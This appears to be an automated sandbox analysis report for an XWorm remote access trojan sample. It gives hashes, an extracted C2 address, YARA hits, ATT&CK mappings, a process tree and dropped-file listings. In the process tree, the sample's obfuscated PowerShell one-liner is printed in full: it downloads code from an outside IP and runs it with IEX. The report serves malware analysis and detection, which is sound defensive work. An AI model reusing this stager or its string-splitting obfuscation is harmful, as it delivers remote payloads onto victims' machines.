xworm | 450f94a61505838c596764d3e70dce13638ae0086e5695b09264258a859dc42f

General

Target

cmd.bat
Size

180B
MD5

b3cede4b5d517877a96f997ef702fb47
SHA1

a4aa92e6231e8ac310b32ecfd6d8f82f3b1c76af
SHA256

450f94a61505838c596764d3e70dce13638ae0086e5695b09264258a859dc42f
SHA512

5d7e73be8121dd8d3374d773d83f1fc553e748ef863a7fc7d914eecae8d1086dcb17dfc14a36ffd00456802af1f708ea19e8c8887203137c6ecf77c7f1239080

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.221/a.mp4

Extracted

Family

xworm

Version

5.0

C2

92.255.57.221:4414

aes.plain

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral2/files/0x000400000001e99a-25.dat	family_xworm
behavioral2/memory/5116-26-0x0000021DF37C0000-0x0000021DF37D0000-memory.dmp	family_xworm
behavioral2/memory/4492-28-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	5116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5116	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5116 set thread context of 4492	5116	powershell.exe	106

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5116	powershell.exe
5116	powershell.exe
5116	powershell.exe
5116	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	4492	MSBuild.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 968 wrote to memory of 5116	968	cmd.exe	86
PID 968 wrote to memory of 5116	968	cmd.exe	86
PID 5116 wrote to memory of 4816	5116	powershell.exe	102
PID 5116 wrote to memory of 4816	5116	powershell.exe	102
PID 4816 wrote to memory of 4888	4816	csc.exe	104
PID 4816 wrote to memory of 4888	4816	csc.exe	104
PID 5116 wrote to memory of 940	5116	powershell.exe	105
PID 5116 wrote to memory of 940	5116	powershell.exe	105
PID 5116 wrote to memory of 940	5116	powershell.exe	105
PID 5116 wrote to memory of 4492	5116	powershell.exe	106
PID 5116 wrote to memory of 4492	5116	powershell.exe	106
PID 5116 wrote to memory of 4492	5116	powershell.exe	106
PID 5116 wrote to memory of 4492	5116	powershell.exe	106
PID 5116 wrote to memory of 4492	5116	powershell.exe	106
PID 5116 wrote to memory of 4492	5116	powershell.exe	106
PID 5116 wrote to memory of 4492	5116	powershell.exe	106
PID 5116 wrote to memory of 4492	5116	powershell.exe	106

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cmd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$FC1='ject Net.WebCli';$FC2='loadString(''http://92.255.57.221/a.mp4'')';$FC3='ent).Down';$FC4='(New-Ob';$E5=IEX ($FC4,$FC1,$FC3,$FC2 -Join '')|IEX"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i0ccbgwi\i0ccbgwi.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC5B1.tmp" "c:\Users\Admin\AppData\Local\Temp\i0ccbgwi\CSC41E91395CD4A4BEDAFAD1B73BDEAFD3E.TMP"
      4⤵
      PID:4888
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:940
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESC5B1.tmp

Filesize
1KB

MD5
0bb13b3b45eacab03762e08565475f8f

SHA1
1dd00732754113bf39c6942b98e9ded6093f08d5

SHA256
4ade1cf6a7bb5fcc3416f2eeb92b2cf4f18657625ffd654a958f2aa62e825a53

SHA512
72ce3d04589df8eeb607911adcee38fb8bbefe9024b3a2b7ea668c9b67f880c5f165821128baf2669c5dc293b398c150e79555ff9d6dd2846734893e75ee5551

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_shq4vrbk.y4i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\i0ccbgwi\i0ccbgwi.dll

Filesize
42KB

MD5
980dfece86330e17cc6bbba24d3de88c

SHA1
bc8689b616814f556bf2d50f67b7c368b91900b6

SHA256
7dee4818abfc77f22a4bceb80a122d4f9c07614f3e5914cd8cf05abbbc9c1159

SHA512
e1ddf04396ba4ddc5ea9b189a7e9a2e5b6d10a401444c4c13ba85542864db5dd75a083f80e20cf54a622e90a7b055de5be231b1a5d5fb11e07c03c41f70df018

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\i0ccbgwi\CSC41E91395CD4A4BEDAFAD1B73BDEAFD3E.TMP

Filesize
652B

MD5
f31455da4afbe4ff9051a67b50d9e960

SHA1
3cce84f087b58103108625adc96352e316af42a0

SHA256
e27ebca2c0dc6d05211e6b5dfa61cf0513482d89fbeec802218071f57a49e28d

SHA512
fabd8b1ffd7940ccbd441b57d6260e4a2437f3a9902c046ce3dcb1f0a1bc2ad6a03c5e73ea49a4c7cb80c574c061cc7d66881bf2fe94c4de3efee50bfe1562f9

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\i0ccbgwi\i0ccbgwi.0.cs

Filesize
103KB

MD5
992ab26a03ded91714491d267da55fb2

SHA1
25fe04d5493f7e904bd4e64078aa464226e8f393

SHA256
3b18772dbf088171f78cccd3da6fb05f46918b2bafa17ab43ea03ec0507935c1

SHA512
a1dbfd27e02d10e978475bf9c1279c489e1c9febd8456492e2b0d7df33563c4e81cc28e39f6a90aa82cadc06927bce2f831f2089b5e57da4ea89862a6d82ad0f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\i0ccbgwi\i0ccbgwi.cmdline

Filesize
204B

MD5
5470ba951cc5815e228a00757800b1f5

SHA1
86b6d7953f5fd12d11c725ae3670ab81150a9168

SHA256
8cb70dd10c6bb14d7a90faa4fe96b7277e76954b571dc861c8b105a50c82996e

SHA512
88ab169ad4ab521d4720aaa55d0ff9a0ab231b3d32a12d83d54a2b956bce6160dfce02538e49f2dab6fb64187c2c97595b6927d140c25d6cb5cfffcf84433007

Download Submit
memory/4492-28-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/4492-32-0x0000000004DB0000-0x0000000004E4C000-memory.dmp

Filesize
624KB

Download
memory/4492-33-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/4492-34-0x00000000061D0000-0x0000000006262000-memory.dmp

Filesize
584KB

Download
memory/4492-35-0x0000000006820000-0x0000000006DC4000-memory.dmp

Filesize
5.6MB

Download
memory/5116-13-0x0000021DF42E0000-0x0000021DF4348000-memory.dmp

Filesize
416KB

Download
memory/5116-12-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/5116-11-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/5116-6-0x0000021DF41B0000-0x0000021DF41D2000-memory.dmp

Filesize
136KB

Download
memory/5116-26-0x0000021DF37C0000-0x0000021DF37D0000-memory.dmp

Filesize
64KB

Download
memory/5116-0-0x00007FF8DA963000-0x00007FF8DA965000-memory.dmp

Filesize
8KB

Download
memory/5116-31-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads